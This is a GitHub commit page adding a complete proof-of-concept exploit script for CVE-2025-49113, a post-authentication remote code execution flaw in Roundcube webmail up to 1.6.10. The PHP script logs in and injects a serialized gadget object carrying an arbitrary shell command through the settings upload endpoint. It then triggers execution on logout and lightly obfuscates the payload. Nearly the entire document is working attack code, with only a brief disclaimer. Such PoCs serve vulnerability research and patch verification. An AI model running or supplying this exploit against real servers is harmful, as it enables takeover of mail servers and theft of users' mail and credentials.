Skip to content

Commit e9618c1

Browse files
Add Dockerfile and PoC script for CVE-2025-49113
This commit includes a verified proof-of-concept for CVE-2025-49113 (EDB-50931) - Roundcube ≤ 1.6.10 RCE via PHP Object Injection. Files included: - `CVE-2025-49113.php`: Exploit script - `rc_install.sh`: Setup script to deploy a vulnerable Roundcube Docker environment - `README.md`: Verification notes and usage instructions Tested on: - Roundcube 1.6.10 running on Apache + PHP 8.2 (Dockerized) Execution of a malicious serialized payload triggered RCE successfully using `phpinfo()` as the payload.
1 parent f36dd3d commit e9618c1

File tree

3 files changed

+558
-1
lines changed

3 files changed

+558
-1
lines changed

CVE-2025-49113.php

Lines changed: 383 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,383 @@
1+
<?php
2+
3+
/**
4+
* Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
5+
*
6+
* Universal PoC for any PHP version
7+
*
8+
* Author: Kirill Firsov https://x.com/k_firsov
9+
* Organization: FearsOff Cybersecurity (https://fearsoff.org)
10+
* Writeup: https://fearsoff.org/research/roundcube
11+
*
12+
*
13+
* Main execution flow.
14+
* php CVE-2025-49113.php http://roundcube.local username password "touch /tmp/pwned"
15+
*
16+
*
17+
* Disclaimer:
18+
* This proof-of-concept code is provided for educational and research purposes only.
19+
* The author and contributors assume no responsibility for any misuse or damage
20+
* resulting from the use of this code. Unauthorized use on systems you do not own
21+
* or have explicit permission to test is illegal and strictly prohibited. Use at your own risk.
22+
*
23+
* @param array<string> $argv
24+
* @return void
25+
*/
26+
function main(array $argv): void
27+
{
28+
message('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]');
29+
30+
if (count($argv) < 5) {
31+
message(
32+
sprintf(
33+
'Usage: php %s <target_url> <username> <password> <command>',
34+
basename(__FILE__)
35+
),
36+
1
37+
);
38+
}
39+
40+
[$_, $targetUrl, $username, $password, $command] = $argv;
41+
42+
try {
43+
validateUrl($targetUrl);
44+
45+
// Initial request to get CSRF token and starting session cookies
46+
[$csrfToken, $initialCookie] = fetchCsrfTokenAndCookie($targetUrl);
47+
48+
// Authenticate using the initial cookie
49+
$sessionCookie = authenticate(
50+
$targetUrl,
51+
$username,
52+
$password,
53+
$csrfToken,
54+
$initialCookie
55+
);
56+
57+
message("Command to be executed: \n" . $command);
58+
59+
// Prepare and inject payload
60+
[$payloadName, $payloadFile] = calcPayload($command);
61+
injectPayload($targetUrl, $sessionCookie, $payloadName, $payloadFile);
62+
63+
// Trigger and cleanup
64+
executePayload($targetUrl, $sessionCookie);
65+
66+
message('Exploit executed successfully');
67+
} catch (\Exception $e) {
68+
message('Error: ' . $e->getMessage(), 1);
69+
}
70+
}
71+
72+
// -----------------------------------------------------------------------------
73+
// Helper functions
74+
// -----------------------------------------------------------------------------
75+
76+
/**
77+
* Validates the target URL.
78+
*
79+
* @param string $url
80+
* @throws \Exception
81+
*/
82+
function validateUrl(string $url): void
83+
{
84+
if (false === filter_var($url, FILTER_VALIDATE_URL)) {
85+
throw new \Exception('Invalid target URL: ' . $url);
86+
}
87+
}
88+
89+
/**
90+
* Retrieves CSRF token and session cookie from initial GET.
91+
*
92+
* @param string $targetUrl
93+
* @return array{string, string} [urlencoded csrf token, initial cookie string]
94+
* @throws RuntimeException If request fails or token missing
95+
*/
96+
function fetchCsrfTokenAndCookie(string $targetUrl): array
97+
{
98+
message('Retrieving CSRF token and session cookie...');
99+
100+
$context = stream_context_create(['http' => ['method' => 'GET']]);
101+
$body = @file_get_contents($targetUrl . '/', false, $context);
102+
if (false === $body) {
103+
throw new \RuntimeException('Failed to fetch initial page for CSRF token');
104+
}
105+
106+
$rawHeaders = $http_response_header ?? [];
107+
$headersStr = implode("\r\n", $rawHeaders);
108+
109+
$token = getToken($body);
110+
$cookie = getCookie($headersStr);
111+
112+
return [$token, $cookie];
113+
}
114+
115+
/**
116+
* Authenticates to Roundcube and returns the updated session cookie.
117+
*
118+
* @param string $targetUrl
119+
* @param string $user
120+
* @param string $pass
121+
* @param string $token
122+
* @param string $cookie Existing cookie from initial request
123+
* @return string Combined session cookie
124+
* @throws RuntimeException on authentication failure
125+
*/
126+
function authenticate(
127+
string $targetUrl,
128+
string $user,
129+
string $pass,
130+
string $token,
131+
string $cookie
132+
): string {
133+
message("Authenticating user: {$user}");
134+
135+
$postData = http_build_query([
136+
'_token' => $token,
137+
'_task' => 'login',
138+
'_action' => 'login',
139+
'_timezone' => '_default_',
140+
'_url' => '_task=login',
141+
'_user' => $user,
142+
'_pass' => $pass,
143+
]);
144+
145+
$headers = [
146+
'Content-Type: application/x-www-form-urlencoded',
147+
"Cookie: {$cookie}",
148+
];
149+
150+
$context = stream_context_create([
151+
'http' => [
152+
'method' => 'POST',
153+
'header' => implode("\r\n", $headers),
154+
'content' => $postData,
155+
'follow_location' => 0,
156+
],
157+
]);
158+
159+
$body = @file_get_contents($targetUrl . '/?_task=login', false, $context);
160+
$respHeaders = implode("\r\n", $http_response_header ?? []);
161+
162+
if (false === $body || !preg_match('#HTTP/\d+\.\d+\s+302#', $respHeaders)) {
163+
throw new \RuntimeException('Authentication failed: ' . PHP_EOL . ($body ?: 'no response'));
164+
}
165+
166+
message('Authentication successful');
167+
168+
return getCookie($respHeaders);
169+
}
170+
171+
/**
172+
* Injects the malicious payload via the user settings upload endpoint.
173+
*
174+
* @param string $targetUrl
175+
* @param string $cookie
176+
* @param string $payloadName
177+
* @param string $payloadFile
178+
* @return void
179+
* @throws \Exception
180+
*/
181+
function injectPayload(string $targetUrl, string $cookie, string $payloadName, string $payloadFile): void
182+
{
183+
message('Injecting payload...');
184+
185+
$boundary = '------a_rule_for_WAF_to_block_fool_exploitation';
186+
187+
$multipart = implode("\r\n", [
188+
'--' . $boundary,
189+
'Content-Disposition: form-data; name="_file[]"; filename="' . $payloadFile . '"',
190+
'Content-Type: image/png',
191+
'',
192+
base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'),
193+
'--' . $boundary . '--',
194+
]);
195+
196+
$headers = implode("\r\n", [
197+
'X-Requested-With: XMLHttpRequest',
198+
'Content-Type: multipart/form-data; boundary=' . $boundary,
199+
'Cookie: ' . $cookie,
200+
]);
201+
202+
$context = stream_context_create([
203+
'http' => [
204+
'method' => 'POST',
205+
'header' => $headers,
206+
'content' => $multipart,
207+
],
208+
]);
209+
210+
$url = sprintf(
211+
'%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload',
212+
$targetUrl,
213+
urlencode($payloadName)
214+
);
215+
216+
message('End payload: ' . $url);
217+
218+
$response = @file_get_contents($url, false, $context);
219+
if (false === $response || strpos($response, 'preferences_time') === false) {
220+
throw new \Exception('Payload injection failed, got: ' . ($response ?: 'no response'));
221+
}
222+
223+
message('Payload injected successfully');
224+
}
225+
226+
/**
227+
* Triggers execution of the injected payload by serializing session data.
228+
*
229+
* @param string $targetUrl
230+
* @param string $cookie
231+
* @return void
232+
*/
233+
function executePayload(string $targetUrl, string $cookie): void
234+
{
235+
message('Executing payload...');
236+
$token = getToken(
237+
file_get_contents(
238+
$targetUrl . '/',
239+
false,
240+
stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
241+
)
242+
);
243+
244+
file_get_contents(
245+
sprintf('%s/?_task=logout&_token=%s', $targetUrl, $token),
246+
false,
247+
stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
248+
);
249+
}
250+
251+
/**
252+
* Extracts and encodes the CSRF token from response body.
253+
*
254+
* @param string $body HTTP response body
255+
* @return string URL-encoded token
256+
* @throws RuntimeException If token is not found
257+
*/
258+
function getToken(string $body): string
259+
{
260+
if (preg_match('/(?:"request_token":"|&_token=)([^"&]+)(?:"|\s)/Uuis', $body, $matches)) {
261+
return rawurlencode($matches[1]);
262+
}
263+
264+
throw new \RuntimeException('CSRF token not found in response body');
265+
}
266+
267+
/**
268+
* Aggregates Set-Cookie headers into a single cookie string.
269+
*
270+
* @param string $headers Raw HTTP headers
271+
* @param string $existing Any existing cookie string to preserve
272+
* @return string Concatenated cookies
273+
*/
274+
function getCookie(string $headers, string $existing = ''): string
275+
{
276+
$cookies = [];
277+
278+
if (preg_match_all('/^Set-Cookie:\s*([^=]+)=([^;]+);/mi', $headers, $matches, PREG_SET_ORDER)) {
279+
foreach ($matches as [$full, $key, $value]) {
280+
if ($value === '-del-') {
281+
continue;
282+
}
283+
$cookies[] = sprintf('%s=%s', $key, $value);
284+
}
285+
}
286+
287+
return $existing . implode(';', $cookies) . (!empty($cookies) ? ';' : '');
288+
}
289+
290+
/**
291+
* Magic is happening here
292+
*/
293+
function calcPayload($cmd){
294+
295+
class Crypt_GPG_Engine{
296+
private $_gpgconf;
297+
298+
function __construct($cmd){
299+
$this->_gpgconf = $cmd.';#';
300+
}
301+
}
302+
303+
$payload = serialize(new Crypt_GPG_Engine($cmd));
304+
$payload = process_serialized($payload) . 'i:0;b:0;';
305+
$append = strlen(12 + strlen($payload)) - 2;
306+
$_from = '!";i:0;'.$payload.'}";}}';
307+
$_file = 'x|b:0;preferences_time|b:0;preferences|s:'.(78 + strlen($payload) + $append).':\\"a:3:{i:0;s:'.(56 + $append).':\\".png';
308+
309+
$_from = preg_replace('/(.)/', '$1' . hex2bin('c'.rand(0,9)), $_from); //little obfuscation
310+
311+
return [$_from, $_file];
312+
}
313+
314+
/**
315+
* PHPGGC magic
316+
*/
317+
function process_serialized($serialized, $full = false){
318+
$new = '';
319+
$last = 0;
320+
$current = 0;
321+
$pattern = '#\bs:([0-9]+):"#';
322+
323+
while(
324+
$current < strlen($serialized) &&
325+
preg_match(
326+
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
327+
)
328+
)
329+
{
330+
$p_start = $matches[0][1];
331+
$p_start_string = $p_start + strlen($matches[0][0]);
332+
$length = $matches[1][0];
333+
$p_end_string = $p_start_string + $length;
334+
335+
if(!(
336+
strlen($serialized) > $p_end_string + 2 &&
337+
substr($serialized, $p_end_string, 2) == '";'
338+
))
339+
{
340+
$current = $p_start_string;
341+
continue;
342+
}
343+
$string = substr($serialized, $p_start_string, $length);
344+
345+
$clean_string = '';
346+
for($i=0; $i < strlen($string); $i++)
347+
{
348+
$letter = $string[$i];
349+
if($full || !ctype_print($letter) || $letter == '\\' || $letter == '|' || $letter == '.' /* rc spec */)
350+
$letter = sprintf("\\%02x", ord($letter));
351+
352+
$clean_string .= $letter;
353+
}
354+
355+
$new .=
356+
substr($serialized, $last, $p_start - $last) .
357+
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
358+
;
359+
$last = $p_end_string + 2;
360+
$current = $last;
361+
}
362+
363+
$new .= substr($serialized, $last);
364+
return $new;
365+
}
366+
367+
/**
368+
* Prints a formatted message and optionally exits.
369+
*
370+
* @param string $text Message to print
371+
* @param int $exitCode Exit code (0 to continue)
372+
* @return void
373+
*/
374+
function message(string $text, int $exitCode = 0): void
375+
{
376+
echo '### ' . $text . PHP_EOL . PHP_EOL;
377+
378+
if ($exitCode !== 0) {
379+
exit($exitCode);
380+
}
381+
}
382+
383+
main($argv);

0 commit comments

Comments
 (0)